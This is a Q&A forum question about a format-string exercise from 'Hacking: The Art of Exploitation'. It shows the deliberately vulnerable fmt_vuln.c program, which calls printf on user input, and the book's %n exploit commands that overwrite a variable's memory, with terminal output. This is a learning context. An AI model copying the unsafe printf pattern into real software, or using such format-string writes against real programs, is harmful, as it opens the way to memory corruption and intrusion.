5

I've been reading "Hacking: The Art of Exploitation 2nd Ed." and I hit a part that's not explained clearly enough for me.

In the section "Writing to an Arbitrary Address" Jon Erickson creates a vulnerable little c program (called fmt_vuln) that passes format-paramaters (such as %x) as the first argument to printf. Doing that will start printf reading from the top of the stack frame. He then uses this vulnerability to write to the arbitrary address 0x08049794.

Below code (fmt_vuln.c) is the target program.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;
  if(argc < 2) {
    printf("Usage: %s <text to print>\n", argv[0]);
    exit(0);
 }
  strcpy(text, argv[1]);
  printf("The right way to print user-controlled input:\n");
  printf("%s", text);
  printf("\nThe wrong way to print user-controlled input:\n");
  printf(text);
  printf("\n");

  // Debug output
  printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

  exit(0);
}

Using this vulnerability, I'm trying to write a value "0xDDCCBBAA" to the address of test_val. The program's output shows that test_val is found at 0x08049794.

The exploit looks like this:

./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n

This writes the hex value 0xAA to the address 0x08049794.

4 writes to sequential addresses, starting at 0x08049794, and adding 1 byte each time should achieve this. The first time we write 0xAA, then the second time we write 0xBB to 0x08049795, the third time we write 0xCC to 0x08049796, and the last time we write 0xDD to 0x08049797.

The book uses the exploit like this:

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $

My Question is:

Why do I need the 4-bytes of junk data between the addresses? The author uses the word "JUNK" because it's an arbitrary 4-byte string, but it could be anything 4-bytes long. But he never explains why that 4-bytes of JUNK data is required. It only says "Another arguments is needed for another %x format parameter to increment the byte count to 187, which is 0xBB in decimal".

merged by AviD Jul 8 '14 at 12:43

This question was merged with Why does printf() vulnerability require 4-bytes of junk data? - “Hacking: The Art of Exploitation” because it is an exact duplicate of that question.